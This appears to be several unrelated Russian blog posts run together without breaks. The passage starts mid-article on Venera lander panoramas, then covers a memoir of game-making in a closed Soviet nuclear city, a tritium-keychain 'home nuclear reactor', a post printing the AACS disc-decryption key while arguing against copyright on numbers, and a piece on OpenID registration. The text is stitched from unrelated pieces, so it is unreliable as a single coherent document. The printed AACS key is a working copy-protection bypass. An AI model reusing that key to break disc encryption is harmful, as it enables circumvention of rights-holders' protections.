Все приборы посадочного аппарата, в том числе и панорамная камера, работали в автоматическом режиме и управлялись программно-временны́м устройством, которое после посадки подавало на камеру команду на включение. После этого собственная автоматика камеры производила включение и выключение осветителей в заданных секторах обзора и реверсирование развертки по достижении камерой крайних положений угла панорамирования. С выхода камеры видеосигнал подавался на кодирующее устройство и далее на передатчик. Каждые 4 минуты видеосигнал прерывался, так как в канал связи поступала телеметрическая информация со всех научных приборов аппарата. А поскольку панорамная развертка в это время не прекращалась, это приводило к потере 4-5 строк изображения на каждый цикл измерений. В это же время передавалась следующая информация о работе камеры: изменение уровня автоматической регулировки чувствительности, изменение азимутального угла, наличие строчной развертки, наличие видеосигнала, моменты включения и выключения осветителей, температура камеры.
Вот так выглядела необработанная панорама:
После устранения шумов данная панорама стала выглядеть так:
Некоторыми любителями были найдены пленки с необработанными 6-битными данными, по которым они самостоятельно проводили реконструкции. Наиболее известна работа Дона Митчела:
Им же проведена работа по реконструкции снимков «Венеры-10», «Венеры-13» и «Венеры-14».
А закончить свой рассказ я бы хотел впечатляющим цветным изображением с «Венеры-13». Хочется искренне верить, что тот прорыв, который советская школа сделала в космонавтике, несмотря на частые неудачи, не забудется и новое поколение российских ученых внесет не меньший вклад в дело изучения космоса.
P.S. Для всех интересующихся очень рекомендую сайт Дона Митчела, который не только обработал первоначальные фотоснимки Венеры, но и собрал массу уникальной информации о советских космических аппаратах и их научном оборудовании.
Случилось это в городе, закрытом от шпионов, цыган и бед социалистической экономики. В Советском Союзе было ровно 10 таких городов, повязанных атомным секретом.
Жизнь мальчиков с математическими способностями в атомных городах была предопределена — школа с пятерками по алгебре и геометрии, мех-мат столичного университета, возвращение в систему, квартира через год, кандидатская степень в 40 лет, ВАЗ 2103 к пятидесяти годам, звание доктора, гараж, шесть соток, четыре квадратных метра.
Бесконечные размышления о математическом моделировании ядерных взрывов разрывали мальчикам мозг. Мозг можно было отвлечь тремя способами — алкоголем, азартными играми и спортом. Секс и музыка помогали не всегда.
Далее я проваливаюсь в историю компьютерной игры.
Под тегом личные воспоминания ветерана без ссылок, рекламы, картинок и кода.
Спасибо за чудесные комментарии, парни.
Чуть-чуть пояснений о 80-ых годах
Интернета не было. Настольных компьютеров не было.
По телевизору вещало целых два канала.
Тем не менее, играли везде и на всем.
ЭВМ БЭСМ-6, ЭЛЬБРУС (СВС) денно и нощно считали сумасшедшие энергии водородной бомбы и хранили в своих 48 разрядных недрах игру ПЕЩЕРА.
-Коли тролля ножом, — лихорадочно печатали на гигантских клавиатурах будущие КФМНы. Клавиатура весила как 7 современных MacBookов. Терминал весил центнер. Кстати, в Германии центнер — 45.359 кг.
Казалось жизнь пройдет среди формул, перфокарт, FORTRANа и черно-зеленых мониторов.
И вдруг в институте появился тот, кого журнал TIME назвал человеком 1982 года.
Его звали IBM PC/XT.
Из Америки до СССР он шел 6 лет.
В наш город их пришло два, мальчик и… еще мальчик.
Яркие, звонкие, цветные, с игрушками Digger и Cats и процессором 8088 на борту.
Во ВНИИЭФ на тот момент было 26 000 сотрудников. Один IBM PC/XT поставили в терминальном зале для всеобщего восхищения, другой — по невероятному стечению обстоятельств — ко мне в комнату 632А. Это была неслыханная удача.
Успех Марка Цукерберга по сравнению с моим — ничто. За 10 минут погонять ДИГГЕРА девушки предлагали любовь до гроба или секс на час. Парни давали ключи от мотоциклов и квартир, чтобы раздеть Мелиссу в стрип-покер или потренироваться в DECATHLON.
Как тут было не написать программу для расчета сферической ударной волны, вирус и первые игрушки. На моем месте так поступил бы каждый.
Преподавание программирования на мех-мате МГУ
Надо сказать, что на мех-мате программированию не учили. К ребятам, не умеющим решить задачу аналитически, относились как к преступникам и сжигали на кострах.
Единственное место, где узнавали таинство кодирования — военная кафедра. Мы — офицеры ПВО.
Месячные военные сборы после 4-ого курса были сродни командировке в Santa Clara. Нас заслали в чудесное место — Пушкинское Высшее Училище РадиоЭлектроники — ПВУРЭ.
Там я потерял IT девственность — на пару с Мишей Гринчуком написал код для складывания целых чисел. А может быть это был Саша Михалев? Не помню.
Но помню настольную машину НАИРИ, с 16 лампочками на фасаде и командами типа FE66. Офицер, прогнавший нас, чтоб не совали руки, куда не понимаем. Царскосельский лицей неподалеку…
IBM PC/XT
ИксТишка, ласково называли его бабки у подъезда.
Что мы про него знали?
Напомню, в то время было полное отсутствие интернета и тотальный дефицит литературы.
Ксерокопии книг Нортона меняли на валюту и водку.
Операционная система MS DOS.
Таинственное слово прерывания — знаменитое INT 21h.
Диск на 20 МБ!
5-ти дюймовый дисковод для 360КБ дискетт!!!
Монитор CGA — 3 режима.
1) Текстовый, 16 цветов, на нем программисты творили свои тетрисы и пакманы.
2) Черно-белый графический режим -640х200 точек.
3) Цветной графический режим 3 цвета + фон. Разрешение — 320х200.
Встроенный интерпретатор языка BASIC, компилятор MASM и полноценный Turbo Pascal.
Картинки в формате *.rle рисовались клавиатурой в редакторе DrHalo. Мышек в это время не было. Или нам их не выдавали. Администрацию института можно было понять. Компьютер в 1988 году стоил 20 000 рублей. Новейший автомобиль ВАЗ — 7000. Мышка, видимо, была дороже холодильника.
Все создавалось на TURBO PASCAL. Почему не на TURBO C? Не знаю, до сих пор загадка. Может быть по той же причине первые версии Windows были написаны на Pascal?
Компилятор от Борланда был восьмым чудом света.
Детище фирмы умещалось на одной дискетке!
IBM PC/AT
Через год иксТишку Мур и его закон заменили на более совершенный компьтер. IBM PC/AT. Эйтишка. Процессор 80286. Диск 40 МБ. Мышка в com-норе!
Монитор EGA!!! Простите за грохот восклицательных знаков.
Цветной графический режим 16 цветов. Разрешение — 640х350.
И цветной режим VGA 320х200 с 256 цветами. Здесь уже можно было создавать полноценное порно.
Вместе с компьютерами в страну ворвалась свобода, разруха, реклама, сникерсы и телевизионные шоу.
Даже я смотрел Поле Чудес и мечтал о коробке Сникерсов. Простите меня. Они были как бусы от Васко Да Гама для туземцев.
Все что происходило в реальном мире отражалось в стихах и компьютерных играх. На развал страны я возмутился Морским Боем. Битва между Россией и Украиной. Корабли и карту изобразил сам. Я люблю Крым наизусть от Керчи до Севастополя. Портье из Pref Club был украден и одет в тельняшку. Флаг Украины нарисован по текстам Булгакова — жовто-блакитным. Сегодня меня справедливо укоряют, что цвета незалежнего стяга перевернуты.
Игра распространялась дискетным путем, других не было.
И, о трепещи Герострат, МОРСКОЙ БОЙ показали в программе ВРЕМЯ летом 1991 года. А меня назвали ястребом, разжигающим войну между братскими народами.
В создании границы между Россией и Украиной виноват не Горбачев и не Ельцин. Виновата игра Морской Бой. У советского человека неистребима вера в телевизионное слово диктора Кириллова.
Надо добавить, что я плодил игры как кролик. В свободное от работы и спорта время. Конечно, это был шлак, типа ВЗЯТИЕ БЕЛОГО ДОМА. Но авторский ВОДОПРОВОДЧИК, ДЕБЕРЦ и МАПИК завоевали институт. В каждой комнате в эти игры рубились научные сотрудники и техники — лаборанты. За эти игры не было стыдно.
Мало того. Три поделки 1991 года выпуска побывали на половине компьютеров бывшего Советского Союза. МОРСКОЙ БОЙ, КИНГ и ПОЛЕ ЧУДЕС. Их успех определили не дизайн и не gameplay. Стечение обстоятельств и безлюдность на русскоязычном рынке софта.
Денег игротворчество не приносило. Так же в свое время думал Пушкин про стихотворчество. Эти аксиомы я знал с рождения и до сих пор их никто не опроверг, в том числе Александр Сергеевич. Околоигровые проекты другое дело. Проекты могут быть прибыльны, если игрушка привязывалась к железу.
Помню, подходит как-то ко мне Семен Шавердов в 1992 году.
— Ну что, — говорит, — Дима, поехали на завод Звезда (Томилино, станция метро ЖДАНОВСКАЯ), бабосиков срубим.
Ладно, поехали — беру Борландовский компилятор на дискете и игру Трехмерный АРКАНОИД.
В результате на месте приделали игру к космическому тренажеру и девайс уехал на выставку в Израиль. Заработали с Семеном по 8 000 рублей при окладе 250.
Удачно купил 2 велосипеда КАМА для своих дочерей. В магазинах, напомню, было шаром покати.
И так далее. Все коммерсанты подходили со стандартным вопросом.
— Хочешь машину, дачу, яхту? Прикрути что-нить к нашей дыхательной трубке, горным лыжам, АРМу танкиста, симулятору ЯК-52…
Я прикручивал. В Паскале был чудный массив для чтения/записи внутренних портов
Port[$03df] := $FF; // пишем в порт
a := Port[$03de]; // читаем из порт
Но яхты у меня до сих пор почему-то нет.
Поле чудес
Поле Чудес было сделано за неделю дней и ночей. Сутки на создание картинок.
Заставка, срисованная из одноименной цветной газеты Поле Чудес и Якубович, срисованный с ч/б фотографии в СПИД-ИНФО.
Адрес телевизионной редакции, сфотографированный с экрана первого канала Полароидом.
Фоновая картинка — стены из ВолфенШтайна, безусловного шлягера тех лет.
2 дня кода и наполнения базы данных слов, тем и подсказок.
3 дня тестирования девчонками из соседнего отдела 0816.
Душа горела. Словарную базу данных наполнял тем, что было под рукой. А под рукой был секретный телефонный справочник с фамилиями сотрудников отделения 08. Там были те, кто спас мир от ядерной войны.
Математическое отделение института. 1 500 человек.
Теоретическое отделение института. 250 человек.
Половина, понятно, евреи с характерными фамилиями. Как говорится, нет такого подлежащего, которое не может быть фамилией еврея.
Рабинович, Бахрах, Холин, Урм.
Бурят Хомич.
Малороссы Карапыш, Дегтяренко, Житник, Кочубей.
Николай Петрович Ковалев.
Математик Змушко и физик Жмайло.
Доктор Кибкало и кандидат Шамраев (чеченец, кстати).
Леха Барченков, доверенное лицо Харитона.
Секретные ученые и мои товарищи в играх на первенство города по футболу.
Вечная память ушедшим. И долгих лет здоровья живым.
Чуть-чуть кода
Единственная в то время книга на русском языке про IBM PC была написана
David Bradley и стала настольной.
Только благодаря ей удалось так быстро крутить барабан. Turbo Pascal позволял делать inline функции прямо на ассемблере.
Вопросы быстродействия графики разрешались прямым обращением к видеопамяти.
Видеопамять использовалась даже для хранения данных. В каких-то эпизодах было смешно наблюдать за пляской цветных пикселов. Каждые 320 байт видеопамяти соответствовали 640 пикселам горизонтальной строки экрана монитора.
Засветить точки на экране дисплея на языке Pascal выглядело примерно так
var
scr:array[] of byte absolute $A000:0000; // адрес начала видео памяти
scr[0 + 320*47] := $FF;
Это значило зажечь белым цветом первых ДВА пиксела на 47 строке экрана.
Тоже самое на ассемблере было быстрее в 2 раза
mov bx, 00FFh // белый цвет
mov ax, 0A000h // начло сегмента видеобуфера
mov es,ax
mov ax, 0012Fh // 47 строка
mov si,ax
mov [es:si],bx // зажигаем
Извиняюсь за возможные опечатки, пишу исключительно по памяти, 20 лет не видел с тех пор ни Pascal, ни ассемблер.
На самом деле в играх функция рисования картинок работала еще быстрее — я использовал механизм задвижек. Подробно об этом написано в другой шлягерной книге 90-ых годов Джордейна Справочник программиста персональных компьютеров. Кроме того, напоминаю, по рукам ходили ксерокопии книг Нортона и Питера Абеля.
Вокруг света
Выпуская игру я потешил авторское самолюбие вставкой в код своего мыла и домашнего телефона.
Город Арзамас-16 к тому времени еще не был переименован обратно в Саров. Позывные bashurov@vniief.su и bady@vniief.su работали только на прием. КГБ и СБ не дремало.
Телефон 5-92-73 был домашним, поскольку на рабочий звонить с Большой Земли было запрещено.
Кстати, все ограничения на отсылку по электронной почте действуют и поныне. Сотовые, ежу понятно, носить с собой на службу запрещено присно и во веки веков под угрозой отрезания всех прав.
Институт, славный ВНИИЭФ по-прежнему скрыт завесой гос. тайны.
Но Бериевский режим потихоньку смягчается.
И, о чудо! Недавно появилась возможность звонить на рабочий номер телефона по межгороду.
Первые пару месяцев после выхода игрушки в свет было спокойно. Раз в день кто-то из любопытства звонил. Звонили девушки, бандиты и программисты. Я с удовольствием общался с девчонками и IT-шниками. Смело дерзил бандитам. Бандиты требовали мерседес в качестве приза и грозились приехать. Их я не боялся. Не потому что отважный, а потому что мой Город обмотан 7-мью рядами колючей проволоки и охраняется дивизией ВВ. Лаврентий Павлович был мудрым человеком.
Что с местными бандитами? С ними я играл в хоккей в одной команде. Играю до сих пор, но состав дружины сильно поредел в лихие 90-ые. Вечная память борцам за передел собственности. Аминь.
И вот, однажды почти ночью я вздрогнул. Раздался звонок межгорода. Израиль. Майоры на прослушке замерли. Качество связи стало изумительным.
— Алло? Это, Сергей. Ведущий на радиостанции Эхо Тель-Авива.
Вежливо попросил разрешения распространить игру в каком-то FIDO.
— Да ради Христа! ой! То есть, пожалуйста.
И понеслось. Неумолкающий телефон 5-92-73 пришлось сменить.
На почту каждый день приходили письма. Часто с милым или смешным содержанием.
Письма шли из США и Израиля от бывших соотечественников и кружков по изучению русского языка.
Отвечать я не мог. Публично на Хабре прошу за это прощения.
Но некоторые адреса сохранил.
Это было единственное рациональное действие с моей стороны.
Лучше бы я сохранил код, он был бы здесь уместен. Эх-эх…
Редакция газеты ПОЛЕ ЧУДЕС
Наступило тяжелое время. Зарплата в институте упала до 15 долларов в месяц. И ту задерживали.
Всеобщий дефицит колбасы и моральных ценностей. Рушилась страна и семьи.
Я не выдержал и решил подзаработать на хлеб халявным способом.
Прочитал адрес редакции в газете Поле Чудес. Наивно полагая, что бумажная и телевизионные организации являются братьями-близнецами. Как выяснилось позже, они были прямыми конкурентами.
Ладно. Во время командировки в январе-феврале 1993 года я забежал по указанному столичному адресу и оставил дискету с игрой. Через месяц был любезно принят гл. редактором г. Шварцем. Мужик мне понравился, в отличии от его правой руки г. Семанова. С первого взгляда было ясно что г. Семанов тип скользкий и темный.
В результате мне было обещано что-то смехотворное в обмен на код, который я безмятежно отдал г. Семанову на дискете. Вот у кого есть вариант исходников. Нынешняя судьба товарища и исходников мне неизвестна.
Я, конечно, тоже жук — за счет редакции ездил в Москву и Питер в СВ. Как крутой коммерсант того смутного времени.
Ладно. Вернулся в Арзамас-16, работаю. Жду подписания договора со стороны редакции газеты Поля Чудес, она же газета Частная жизнь, она же еженедельник Семья и еще куча изданий. И тут, бабах! Октябрь. 1993 год. Танчики. Белый Дом горит. В редакции пусто. Я думал, все прогрессивные издатели спасали демократию. Увы. Оказывается все прогрессивные парни в октябре 93 собрали бабки, чемоданы и паспорта и всей компанией спрятались в Испании.
Они сидели на фиесте три месяца, ждали исхода и конца курортного сезона.
Через полгода спасители отечества вернулись на Русь и стали меня допытывать: -Где ты был, подлец? И почему твоя (то есть теперь наша) игра стоит на каждом втором компьютере с русской клавиатурой?
Ну что я мог ответить? Ничего. Плюнул и забыл.
Лампорт, eHouse и Улендеев
Автомобиль Форд, который можно купить на все деньги, заработанные на Поле Чудес
Ухмыльнувшись своим коммерческим успехам, я успокоился. Пока случайно в Москве не встретил сокурсника Славу Улендеева.
Мы с удовольствием выпили, и в пьяной беседе я рассказал ему анекдот про свое Поле Чудес.
Он молча вынул 400 долларов и новый компьютер со склада.
В город я вернулся Крезом.
Трехкомнатная квартира на 3-ей Фрунзенской в сталинском доме стоила в 1993 году три тысячи долларов США.
На 200 долларов в то время можно было съездить в Крым вчетвером на 2 недели и быть там Рокфелером.
Что я и сделал. Хороший номер в пансионате между Алуштой и Гурзуфом стоил миллион купонов или 1 доллар в день.
Однако деньги и компьютер были вручены не просто так. Я должен быть изучить язык Форт и склепать Морской Бой под ДЕНДИ, чрезвычайно популярную тогда игровую телевизионную приставку.
Форт я изучил, программу под эмулятор написал, но время ушло. Зарабатывать на играх было невозможно.
Инфляция съедала все (с) Ильф и Петров.
Деньги делались исключительно на торговле. Лес — за кордон. Компьютеры — на отчизну. Прибыль исчислялась тысячами процентов. Какие уж тут Денди.
А программист, как женщина, капризен и требует ухода.
Улендееву я благодарен и скучаю по тому времени. Но потерял все его номера телефонов.
Якубович, да, да, нет, да
Наступил 1995 год, я забыл про Поле Чудес.
Пришла эпоха 486 машин и трехмерных игр.
Я оставался сотрудником ВНИИЭФ, но деньги зарабатывал по контракту с фирмой Intel.
Intel был щедрым и ежеквартально устраивал OpReview в дорогих пансионатах страны.
В Нахабино мы играли в гольф вместе с А.Б. Пугачевой, например.
Как известный в прошлом игродел я работал в проекте 3DR и делал приложения и геометрический engine.
Было интересно. 3DR обогнал конкурента DirectX и настигал лидера OpenGL.
А страна готовилась в выборам президента. Рейтинг Ельцина упал до 0. Демократы зашевелились. Запахло жаренным и возвращением наворованного. Вся попса ринулась охмурять электорат. Якубович и Николаев на личных самолетах устроили тур по стране. Все за Ельцина!
Мы пересеклись с авиаторами в Нижнем Новгороде.
Выходя из гостиницы Волна на Волжской набережной я столкнулся с Якубовичем.
Мой кореш Федор Плетенев тронул шоумена за рукав.
— Леонид Аркадьич, а вот тот самый Дима Башуров с игрой Поле Чудес.
Телезвезда нахмурился.
— А вы в курсе, молодой человек, что мы на Вас в суд чуть не подали?
Я был не в курсе. Оказалось, ТВ редакцию завалили письмами с просьбой выслать призы. Шнурки от калош?? Боже, страна Чехова и Гоголя…
Так вот, что интересно. Письма читателей — это святое. Они должны храниться не менее 2 лет. На Королева, 12 было забито две комнаты мешками с письмами-просьбами от игроков в мое Поле Чудес.
Редакция несла материальный ущерб. Я злорадно ухмылялся. Якубович хмурил брови, но при расставании пожал мне руку.
Нормальный короче дядька, хоть и мудак.
Дальше было круче — из соседнего номера вышел… Ричард Гир. Алле, это Нижний Новгород!?
Больше ни я, ни кто другой голливудского красавца не видел.
Оказалось, он приехал в НН на трое суток. В первый же день с какой-то местной девахой умотал в Макарьевский монастырь. В гостинице больше не появлялся. Наш парень. Впрочем, к Полю Чудес это отношения не имеет.
Калифорния
Intel вывозил команду разработчиков не только в пансионаты. Но и в Калифорнию.
Однажды в Америке я достал ветхий список email адресов от сыгравших в Поле Чудес космополитов.
И послал дружелюбные письма.
Почти все адресаты ответили. Прошло три года, но игру помнили.
Звали в гости.
Я выбрал тех, кто жил в Калифорнии и с удовольствием с ними познакомился.
Влился в их футбольную компанию. Играли еженедельно в Купертино.
Игроки оказались сотрудниками NVidia, Apple и Sun, бывшие наши соотечественники.
Вообщем, мне теперь есть где переночевать в Пало-Альто и Сан-Хозе.
Intel в лице Джима Хёрли свозил меня на E3 в Лос-Анжелес. Это крупнейшая выставка компьютерных игр. Биенале, а может ежегодная. Игра Falcon летала на нашем 3DR движке быстрее конкурентов на 25%.
Как game developer и Интеловский контрактер я посетил почти все игровые компании того времени в Silicon Valley.
ЮбиСофт, Паралакс, Микропроус, Електроникс Артс, Спектрум Холобайт — все было. Все рядом.
В каждом офисе мне дарили коробки с новыми играми. Они всем дарили, но все равно приятно.
В основном стрелялки-бродилки. Я не игроман, но убил месяц на одну игру. Десент от Паралакс Софтваре. Игра помещалась в то время на 4 трехдюймовых дискетах.
Это был 1996 год. В России переизбрали президента и появился первый CD диск. Он вмещал целых 7 мегабайт.
Завершилась история моей игрушки и старых технологий.
Впрочем, иногда Поле Чудес напоминало о себе. В 2005 пришло приглашение в Лондон на конференцию. Меня позвали как game developer-а из закрытого города. Там были парни из Сарова (бывший Арзамас-16), Снежинска (бывший Челябинск-70) и Железногорска (бывший Красноярск-26).
Что сейчас? Меня знает администрация любого областного города, как автора игры Поле Чудес. Ведь все чиновники — бывшие вращатели полосатого барабана.
Но я не чиновник, не бизнесмен и не сын лейтенанта Шмидта.
Я — русский, а значит инженер и программист.
Программирование для русских парней — не профессия, а удовольствие.
Заключение
Неужели есть люди, одолевшие топик до конца?
Все опечатки сделаны умышленно.
Некоторое время назад я публиковал статью о самодельных микропроцессорах, сегодня же мы затронем более сложную и щекотливую тему (особенно в свете событий на Фокусиме) – создание ядерного реактора, способного генерировать энергию в домашних условиях. И перед тем как вы начнете волноваться, вспоминая о негативных опытах в прошлом (см. Радиоактивный бойскаут – наковырявший прилично амерция-241 из детекторов дыма) заранее скажу, что все что описано в этой статье – относительно безопасно (по крайней мере не опаснее работы с фтороводородной кислотой дома), но крайне не рекомендуется к повторению. Перед любыми действиями проконсультируйтесь со своим адвокатом — законы разные в разных странах. Много кто уже сидит.
Какие у нас есть пути создания домашнего ядерного реактора?
Термоядерная реакция
Тяжелый водород (дейтрий) относительно несложно получить и в домашних условиях — всего то нужен многостадийный электролиз обычной воды. Но вот с реактором до сих проблемы даже у ученых, и не первый десяток лет (и это не учитывая, что дейтрий — далеко не самое легкое в использовании термоядерное топливо)
Ядерная реакция деления
В простейшем случае — нужен просто природный уран без обогащения и немного воды (хехе, «Просто добавь воды»: вода — и замедлитель, и отражатель нейтронов). Проблема в том, что надо этого добра сотни тонн, и за вами точно придет доктор, даже если вы 0.1 грамма попробуете найти / купить / унести.
Тут в унынии нам остается обратить взоры в небо, и посмотреть на чем летают межпланетные корабли — там просто кусок радиоактивного материала, который за счет естественного распада нагревается, и элементами пельтье получают энергию. (Кстати естественный распад — собственно главная физическая причина всех бед на Фокусиме — после остановки ядерного реактора в первые минуты за счет распада выделяется 7% номинальной мощности, в первые недели — ~1%, затем падает до 0.1%. Т.е. от 700МВт реактора в первые недели надо отводить 7МВт тепла, и этот процесс не остановить)
Попробуем подумать в этом направлении: Есть 3 основных вида радиоактивного распада:
Гамма-распад
Источники гамма излучения широко используются в медицине и промышленности, в основном на основе Кобальта-60/Цезия-137 (печально известного по ядерным катастрофам). Проблема в том, что излучение их очень жесткое, крайне опасное, и от него и сантиметром свинца не защититься (см. веселое свечение Вавилова-Черенкова справа — выбитые гамма-квантами электроны, движущиеся в воде со сверхсветовой скоростью излучают энергию в видимом диапазоне). Так что обходим их стороной как можно дальше. Ну и кроме того, за нелегальную сбыт/покупку гамма-источников каждый год садится куча людей
PS. Справедливости ради стоит заметить, что гамма-квант в данных случаях выделяется не непосредственно, а в результате распада одного из дочерних короткоживущих элементов.
Альфа-распад
Источники альфа-излучения активно применяются в детекторах дыма, для облегчения зажигания искры, в некоторых радиолампах. Один из наиболее известных — упомянутый в начале Америций-241. От альфа-излучения легко защититься даже листком бумаги, но с ними другая опасность: они чрезвычайно опасны если их вдохнуть/проглотить. См. миф об отравлении Кровавой Гэбней Литвиненко. Кроме того, наковырять количества больше микрограммов нереально, потому о термоэлектрических генераторах придется забыть. А жаль — ведь на основе альфа-распада работают наиболее эффективные генераторы энергии. Самый лучший — Плутоний-238 (Не путать с 239) — отдает 0.5 Ватта тепла на 1 грамм массы, полураспад 87 лет (цена — 1 мегабакс за кило).
Бета-распад
Источники мягкого бета-излучения (в сущности, электроны/позитроны) умеренно хорошо экранируются, и обладают чертовски полезным качеством: при попадании электрона в люминофор можно вызвать его свечение. Ну и как побочный эффект — в большинстве стран мира «безопасные» бета-излучатели достаточно легальны. Чем и пользуются изготовители всяких светящихся брелков, как на первой фотографии. Пожалуй, на основе бэта-распада мы и будем строить свой ядерный реактор.
Основа нашего реактора — капсула с тритием, с небезызвестного сайта DealExtreme — www.dealextreme.com/p/mini-tritium-glowring-keychain-10-year-green-glow-6830. 9.7$. Формально радиоактивные материалы так просто почтой слать нельзя, но DealExtreme про это видимо не знает.
О безопасности
Мягкое бета-излучение за пределы капсулы выйти не может, гелий не радиоактивен. Проблема может быть лишь в случае повреждения капсулы. Если тритий вдохнуть — то заражение будет минимальным, т.к. водород напрямую организмом не усваивается. Но если он сгорит, то вода может стать частью клеток, и тогда вы получите всё облучение, которое может только выжать этот микроскопический кусочек трития. Так что, не ломайте, не сжигайте и не вдыхайте то что получилось.
Итак, Тритий — сверхтяжелый водород, период полураспада 12.32 года. На выходе имеем гелий и очень «мягкие» электроны — 6.5кЭв (+антинейтрино, для ценителей). Энергию будем собирать солнечной батареей, подавать на вход Step-Up стабилизатора MCP1640 — работает до десятых вольта на входе, на выходе — ионистор на 1 Фарад и 5В. В нашем случае нагрузкой будет красный светодиод.
Для того, чтобы собрать как можно больше света, нашу капсулу с тритием помещаем в отражатель из фольги.
Для фокусировки используем 2 линзы по 10 диоптрий, видна солнечная батарея до приклеивания, капсула не установлена.
Подключаем, выключаем свет, ждем минуту для первоначального заряда ионистора, и вот результат:
Первая электроэнергия, произведенная ядерным реактором, созданным в домашних условиях :-)
Халява?
О нет :-) В среднем реактор выдает мощность около 7 милливатт (а через 12.32 года будет 3.5 ), и хоть для светодиода этого достаточно, ноутбук от него не зарядить ) Но с другой стороны, десяток таких модулей вполне сможет держать сотовый телефон в режиме ожидания пару десятков лет :-) Правда цена… Капсула стоит 9.7$, солнечная батарея 5$, линзы 13.8$*2 — уже 42$ за модуль. А за десяток придется отдать 420$… С другой стороны — на сайте есть капсулы побольше — но за 35.
Комментарии/вопросы/мнения — в студию.
UPDATE: Товарищи, поднимаем перевод на английский на Reddit
http://www.reddit.com/r/technology/comments/ggg43/guys_ive_just_built_tiny_nuclear_reactor_at_home/
09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0
Только что вы стали свидетелями того, как я нарушил американский закон DMCA.
Если бы Хабрахабр и/или я находились в юрисдикции США, компания AACS LA могла бы на полном серьёзе подать на меня в суд. Вряд ли бы им удалось выиграть, но… смысл ведь не в этом.
Дело в том, что этот набор безобидных циферок представляет собой ключ шифрования AACS — один из криптографических ключей, используемых для шифрования контента HD-DVD и Blu-ray дисков. Как вы уже наверняка догадались, используя этот ключ можно обойти защиту от копирования этих дисков, что является незаконным в США. То, что незаконным считается не только копирование, распространение и публичный показ, а всего лишь сам факт обхода защиты — это серьёзная, но отдельная тема и я не хотел бы сейчас на неё отвлекаться.
Я — далеко не юрист, хотя в законах немного смыслю, так что буду рад, если юристы поправят меня в комментариях.
AACS LS объявили данное число «устройством обхода авторского права», фактически получив эксклюзивное право на его использование.
Другими словами — объявили число «вне закона».
И вот это не укладывается в моей голове.
Как вообще можно назвать какое-либо число нелегальным?
Или ещё лучше — получить эксклюзивные права на его использование, то есть закопирайтить! :)
Что было бы с математикой, если бы я объявил число 13 (которое мне очень нравится, кстати) своей собственностью?
А как на счет того, чтобы запретить использовать число 666 из религиозных соображений?
По-моему это — ненормально: ограничивать свободу использования чисел всеми, лишь только для того, чтобы угодить единицам.
Что было бы с математикой, если бы любой желающий мог так или иначе примазаться к любому числу на основании того, что он его «придумал» и запретить дальнейшее использование (или даже упоминание) этого числа учеными? А как на счет патента на Теорему Пифагора? :)
Хотя я снова отвлекся…
Вот тут мы подходим к самому интересному.
Мы, обитатели Хабра, — люди образованные.
Мы знаем, что такое информация.
И мы знаем, как информация хранится и передается компьютером — в бинарном виде, единичками и ноликами.
Но постойте… в таком случае получается, что любая программа, любая книжка, любая песня или любой фильм в электронном виде — это всего лишь очень, очень больше число! Пускай это число в бинарном виде имеет 6012954214400 разрядов (обычный CD, 700 мегабайт), но это всего лишь число!
Улавливаете, в чём тут проблема?
Я могу закопирайтить 700-меговое число.
Я могу закопирайтить число 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0… ну, на самом деле не могу, потому что хитрые ребята его уже закопирайтили :)
Но если бы у меня были аналогичные финансовые и политические ресурсы, я мог бы без особых проблем закопирайтить себе число 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C1.
Но в то же время, число 13 я закопирайтить не могу… и это меня радует — красивое ведь число, пускай все свободно пользуются :)
Так где же должна проходить эта грань?
Написать этот топик меня побудило изучение статьи Википедии Illegal number.
P.S. Если кто-то не понял, в чем смысл этой статьи — смысл в том, чтобы читатель задумался над проблемой копирайта (да, лично я считаю копирайт проблемой) и о том, как нам стоит изменить наши устаревшие законы и традиции, адаптировав их к новому информационному обществу.
UPD. Спасибо хабрачеловеку naPmu3aH за интересную ссылку:
www.09f911029d74e35bd84156c5635688c0.ws/
Люди не очень любят регистрироваться. Это же нужно (в общем случае) придумать логин и пароль, зайти в свою почту, дождаться письма, открыть его, перейти по ссылке активации аккаунта, а потом еще этот логин с паролем не забыть. Но ведь уже давно есть способ, с помощью которого все эти шаги не нужны. Более того, не нужно вообще ничего вводить с клавиатуры, 2 щелчка мышью и все, человек зарегистрирован.
Какой самый распространенный элемент в todo стартапов? Думаю, что-то вроде этого: «В планах — сделать вход по OpenID». Почему этого не делают? Потому что как-бы незачем. Никто про OpenID не знает, никому он не нужен. У меня сложилось впечатление, что вход или регистрацию по OpenID обычно делают для того, чтоб показать технологическую продвинутость проекта. А ведь OpenID может быть крайне полезной штукой, упрощающей людям жизнь и увеличивающей число пользователей ресурса. Дальше — мое видение того, как правильно применять эту технологию.
Факты
Для начала — факты:
- Пользователи почты yandex.ru, rambler.ru и gmail.com в сумме покрывают очень большой процент пользователей рунета. Из почтовых сервисов тут не хватает только mail.ru.
- Yandex.ru, rambler.ru и gmail.com являются провайдерами OpenID 2.0.
- Для аутентификации через OpenID 2.0 не нужно вообще ничего вводить с клавиатуры, если сайту известен провайдер OpenID и пользователь авторизован у этого провайдера. В OpenID 2.0 адрес сервера един для всех пользователей (в url'е нигде не фигурирует имя пользователя).
- Пользователи не знают (и не хотят знать), что такое OpenID. Ну может 1% где-то слышал, что это есть такая непонятная штука для гиков.
Что из этого следует
В России (и в СНГ) вполне можно учитывать только 3х провайдеров OpenID: вышеупомянутых яндекс, гмейл и рамблер. Если предоставить пользователям выбор из этих 3х провайдеров, то с большой долей вероятности где-нибудь у человека будет аккаунт. Пользователь выбирает своего провайдера из этих 3х (1 щелчок мышью) — у сайта теперь есть информация о том, какой url использовать для аутентификации по OpenID. После этого можно провести обычную процедуру аутентификации по OpenID. Если пользователь авторизован у провайдера, то он подтверждает аутентификацию (еще 1 щелчок мышью). Если нет, то авторизуется (это у всех по-разному, в лучшем случае — 1 щелчок мышью, логин и пароль подставил браузер), потом подтверждает аутентификацию.
Что мы имеем: первичную аутентификацию в 2 щелчка мышью (если пользователь авторизован в своей почте). При этом сайт может пользователя или зарегистрировать, или авторизовать. Дополнительные данные для регистрации (если необходимо) сайт может получить через SREG, hCard, ax, что-то можно выудить из логина openid (для всего этого со стороны пользователя не нужно выполнять никаких действий). Если что-то нужно заполнить еще, то тогда уже спрашивать у пользователя дальше. Заметьте, спрашивать нужно будет потенциально меньше, чем при обычной регистрации.
Повторные логины будут происходить за 1 щелчок мыши (если пользователь нажал «запомнить связь» при аутентификации), как и в случае с автозаполнением пары логин-пароль браузером. Ну и, понятно, куки для запоминания авторизации пользователя никто не отменял.
